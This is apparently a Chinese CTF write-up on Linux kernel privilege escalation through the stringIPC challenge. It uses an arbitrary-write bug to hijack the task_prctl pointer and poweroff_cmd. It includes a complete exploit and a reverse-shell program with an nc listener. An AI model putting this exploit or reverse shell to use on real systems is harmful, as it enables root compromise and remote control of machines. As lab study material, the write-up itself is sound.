kernel-6-HijackPrctl

内存任意读写劫持prctl实现提权。本篇包含了如何带符号调试exp以及使用gdb搜索内存的方法。

这次采用的题目是上次没有分析完的stringIPC。后者没有对写入位置限制,可以任意写,但是soild_core就只能写prctl了。

原理

prctl函数

链接中,可以找到调用,在链接中可以找到定义。如下

image-20220224170047364

这里的task_prctl是一个虚表(类似函数指针)。如果能够劫持该表中的函数,就能够控制执行流。

image-20220224170356852

那么prctl是干什么的?阅读man手册(这里截一张图就是因为我的背景好康)大致浏览了一下,能做的主要有设置线程属性,获取线程当前状态等。感觉还是很强的一个对进程管理相关的库。

image-20220224170811327

我们通过调试,观察一下prctl的执行流程。

编写以下程序,并按照下图方式下断点

1
2
3
4
5
#include <sys/prctl.h>  

int main() {
prctl(0,0);
}
1
cat /proc/kallsyms | grep security_task_prctl

image-20220224203230818

注意:==要在root环境下用si指令单步调试==如下所示,一定不能用ni。在如下位置就能找到prctl结构体位置。

image-20220225204721714

回到正题,这个虚函数被劫持之后,应该被修改成什么呢?用户态pwn可以修改为og,也可以是one_gadget,内核中没有相应的内容。这里一个从安卓root那里借鉴过来的办法是调用call_usermodehelper进行提权。

该函数签名如下,作用是可以以root权限执行用户空间代码。

1
call_usermodehelper(cmdPath,cmdArgv,cmdEnvp,UMH_WAIT_PROC);

但是不能直接劫持。因为task_prctl的第一个参数是一个int类型数值,这里只能写一个字符串。但是借用one_gadget思想,我们可能可以写入一个现成的函数,调用call_usermodehelper即可。

可以找到以下内容调用了。由于mce_helper是全局变量,应该也是可控的。

image-20220224213641803

同样,run_cmd也会调用。源码

image-20220224214146761

image-20220224214323810

因此,只要劫持虚表到这两个函数,再修改他们中间参数的值(例如修改__orderly_power_off参数poweroff_cmd为我们要执行的文件路径即可。

stringIPC

获取内核基地址

我们先用stringIPC为例。

如果想要调用内核的符号,需要先获得基地址。在stringIPC中,我们只需要先获取vdso的地址,之后根据不变的偏移就能算出内核基地址。参考这篇文章首先计算出name_addr在vdso中的偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//获取vdso里的字符串"gettimeofday"相对vdso.so的偏移  
int get_gettimeofday_str_offset() {
//获取当前程序的vdso.so加载地址0x7ffxxxxxxxx
//AT_SYSINFO_EHDR
// The address of a page containing the virtual Dynamic
// Shared Object (vDSO) that the kernel creates in order to
// provide fast implementations of certain system calls.
// 注意,只是返回加载vdso的页面,我们还需要从该页面中找到vdso位置
// 即使找到了该位置,也需要在内核映射区域中找到vdso.so
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
errExit("[-]error get name's offset");
}
//仅需要搜索1页大小即可,因为vdso映射就一页0x1000
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
errExit("[-]error get name's offset");
}
return name_addr - vdso_addr;
}

关于为什么”即使找到了该位置,也需要在内核映射区域中找到vdso.so”,在下面是解释。

不知道getauxval(AT_SYSINFO_EHDR)是什么意思,写个程序测试一下。可以看到打印的数值其实是0x7f开头的。

image-20220224220837748

看下面的map图,找到其实是vdso部分的地址,并不是vsycall的地址。因此我们还需要在vsycall中找到vdso。这样才能找到内核基地址。

image-20220224220923315

那么怎么找呢?由于vdso.so是按照页加载的,因此gettimeofday()中的字符串页偏移量是固定的。我们可以在OS映射vdso的所有可能大小中找到有相同偏移的那一页,就说明找到了vdso的起始地址。而有了起始地址,我们就可以算出内核基地址。(可以这样理解:vdso这个页面相当于一个共享库函数,只不过是按照页面加载的。有了共享库函数的地址,我们又可以在root下找到内核加载基地址,就能够算出来两者的偏移了)

采用以下代码找到。其中映射范围是根据OS的映射规则找到的。这篇文章有映射规则的图。利用stringIPC的任意地址读就可以找到。以下代码也是参考这篇文章。

1
2
3
4
5
6
7
8
9
10
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
arbitrary_read(id,buf,addr,0x1000);
// 找到的依据是: 从0x1000开始相同偏移的地方有相同字符串gettimeofday
if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
printf("[+]find vdso\n");
vdso_addr = addr;
printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
break;
}
}

之后根据vdso可以计算出内核基地址。首先看到的是vdso的地址

image-20220225200939874

接着获取内核加载地址。在root中可以看到内核基地址。可以看到vdso和内核基地址相差0xe04000。

image-20220225201842182

接着我们想找到上面说的类似one_gadget函数的偏移,以及要修改的相应符号地址。

image-20220225202538188

分别计算出他们的偏移。

1
2
3
#define POWEROFF_CMD 0xE4DFA0 // poweroff_cmd字符串地址
#define ORDERLY_POWEROFF 0xa3480 // orderly_poweroff的函数地址,在上面的图里面有
#define TASK_PRCTL 0xeb7DF8 // task_prctl的地址,在上面有相应的图,就是ebp+0x18,call的位置

我们的思路是:

  1. 利用任意写修改poweroff_cmd为我们可以反弹的shell的二进制文件(这里就是下面的reverse_shell)
  2. 利用任意写修改prctl结构体为poweroff的函数地址,于是执行prctl的时候会调用poweroff
  3. 由于poweroff_cmd已经被修改,现在调用prctl会触发rum_cmd(poweroff_cmd)也就是能执行我们的reverse_shell二进制文件。

如下为拿到地址之后的写入代码。还是比较简单的。但是这里还是没有明白为什么减去0x10,以及如何调试这样的.c程序呢??==答: add-symbol-file exp==即可。如果想要-g带源码调试,只需要将源码和exp放在同一路径下即可。或者参考我之前一篇关于gdb的dir的博客

下图为调试过程。

劫持poweroff_cmd

劫持函数指针

1
2
3
4
5
6
7
8
9
10
11
12
// 写入reverse_shell二进制文件路径到poweroff_cmd中
char buf[0x100];
memset(buf,'\x0',0x100);
strcpy(buf,"/reverse_shell\0");
seek_args.id = alloc_args.id;
seek_args.index = poweroff_cmd_addr-0x10; // 这里-0x10是调试看出来的
seek_args.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = strlen(buf);
ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

另外,gdb中的search对于qemu中寻找相应字符串似乎匹配的非常慢。如果没找到地址可能还是要在附近搜索,而不能直接search。用以下方法可能更加方便。其中地址选择就是从内核映射的基地址开始找到末尾即可。

image-20220306154741182

以下为成功截图

image-20220306151109933

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
// attack_prctl.c
// gcc -static -g attack_prctl.c -o attack_prctl_no_my
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <malloc.h>
#include <string.h> // for memmem
#include <sys/ioctl.h> /* BSD and Linux */
#include<unistd.h> // for getgid()
#include<stdlib.h> // for system("/bin/sh")
#include <sys/auxv.h> // for search gettimeofday()
// search string input

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8
// #define POWEROFF_CMD 0xE4DFA0
// #define ORDERLY_POWEROFF 0xa3480

// nerwork
#define POWEROFF_CMD 0xe4dfa0
#define ORDERLY_POWEROFF 0xa3480
#define TASK_PRCTL 0xeb7DF8


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};


int get_gettimeofday_str_offset() {
//AT_SYSINFO_EHDR
// The address of a page containing the virtual Dynamic
// Shared Object (vDSO) that the kernel creates in order to
// provide fast implementations of certain system calls.
size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
char* name = "gettimeofday";
if (!vdso_addr) {
printf("[-]error get name's offset");
exit(-1);
}
size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
if (name_addr < 0) {
printf("[-]error get name's offset");
exit(-1);
}
return name_addr - vdso_addr;
}



// create a channel
int main()
{
setvbuf(stdout, 0LL, 2, 0LL);
int fd = open("/dev/csaw",O_RDWR);
if(fd<0)
{
printf("open /dev/csaw error\n");
return -1;
}
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct close_channel_args close_args;
struct write_channel_args write_args;
size_t addr = 0xffff880000000000;
size_t real_cred = 0;
size_t cred = 0;
size_t target_addr;
size_t vdso_addr;
int root_cred[12];
char* local_buf = (char*)malloc(0x1000);

// alloc one
alloc_args.buf_size = 0x100;
alloc_args.id = -1;
int ret = -1;
ret = ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
if(alloc_args.id == -1)
{
printf("bad alloc\n");
return -1;
}
printf("[+] alloc an channel at id %d\n",alloc_args.id);
// change its size to get arbitary write
shrink_args.id = alloc_args.id;
shrink_args.size = 0x100+1; // vul, shrink size is `original size - this size` si we get -1 here
ret = ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
printf("[+] now we have arbitary read/write\n");

// BEGIN OUR SEARCH
unsigned int offset = get_gettimeofday_str_offset();
printf("[+] get offset: %u\n", offset);

// search in all mem
for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
seek_args.id = alloc_args.id;
seek_args.index = addr-0x10; // index is actually the begin of the place we want to search.
seek_args.whence = SEEK_SET; // search from begin
ret = ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
// use channel_read to read channel's space
read_args.buf = local_buf;
read_args.count = 0x1000;
read_args.id = alloc_args.id;
ret = ioctl(fd,CSAW_READ_CHANNEL,&read_args);
if (!strcmp(local_buf+offset,"gettimeofday")) {
printf("[+] find vdso\n");
vdso_addr = addr;
printf("[+] vdso in kernel addr: 0x%lx\n",vdso_addr);
break;
}
}

size_t kernel_base = vdso_addr - 0xe04000;
printf("[+] kernel base: 0x%lx\n",kernel_base);
size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;
printf("[+] poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);
size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;
printf("[+] orderly_poweroff_addr=0x%lx\n",orderly_poweroff_addr);
size_t task_prctl_addr = kernel_base + TASK_PRCTL;
printf("[+] task_prctl_addr=0x%lx\n",task_prctl_addr);

// use arbitary write to hijack poweroff_cmd_addr
char buf[0x100];
memset(buf,'\x0',0x100);
strcpy(buf,"/reverse_shell\0");
seek_args.id = alloc_args.id;
seek_args.index = poweroff_cmd_addr-0x10;
seek_args.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = strlen(buf);
ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

//write orderly poweroff to prctl's func pointer
memset(buf,'\0',0x100);
*(size_t *)buf = orderly_poweroff_addr;
seek_args.id = alloc_args.id;
seek_args.index = task_prctl_addr-0x10;
seek_args.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
write_args.id = alloc_args.id;
write_args.buf = buf;
write_args.count = 0x10;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);

// now we have hijacked kernel's prctl struct
// fork a new process to call prctl
if (fork() == 0) { //fork一个子进程,来触发shell的反弹
prctl(0,0);
exit(-1);
} else {
printf("[+]open a shell\n");
system("nc -l -p 2333");
}
}

反弹shell源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc,char *argv[])
{
int sockfd,numbytes;
char buf[BUFSIZ];
struct sockaddr_in their_addr;
printf("break!");
while((sockfd = socket(AF_INET,SOCK_STREAM,0)) == -1);
printf("We get the sockfd~\n");
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(2333);
their_addr.sin_addr.s_addr=inet_addr("127.0.0.1");
bzero(&(their_addr.sin_zero), 8);

while(connect(sockfd,(struct sockaddr*)&their_addr,sizeof(struct sockaddr)) == -1);
dup2(sockfd,0);
dup2(sockfd,1);
dup2(sockfd,2);
system("/bin/sh");
return 0;
}

总结

感觉这次收获最大的是知道了怎么通过符号调试exp,以及gdb搜索内存的方法。以及一种类似one_gadget的攻击方法:修改prctl结构体为run_cmd函数。这里采用的是将prctl结构体修改为orderly_poweroff并修改其对应的poweroff_cmd为一个能够反弹shell的二进制文件路径。

参考链接

https://www.its203.com/article/seaaseesa/104695399

gdb中find命令

文章目录
  1. 1. 原理
    1. 1.1. prctl函数
  2. 2. stringIPC
    1. 2.1. 获取内核基地址
    2. 2.2. exp
  3. 3. 总结
  4. 4. 参考链接
|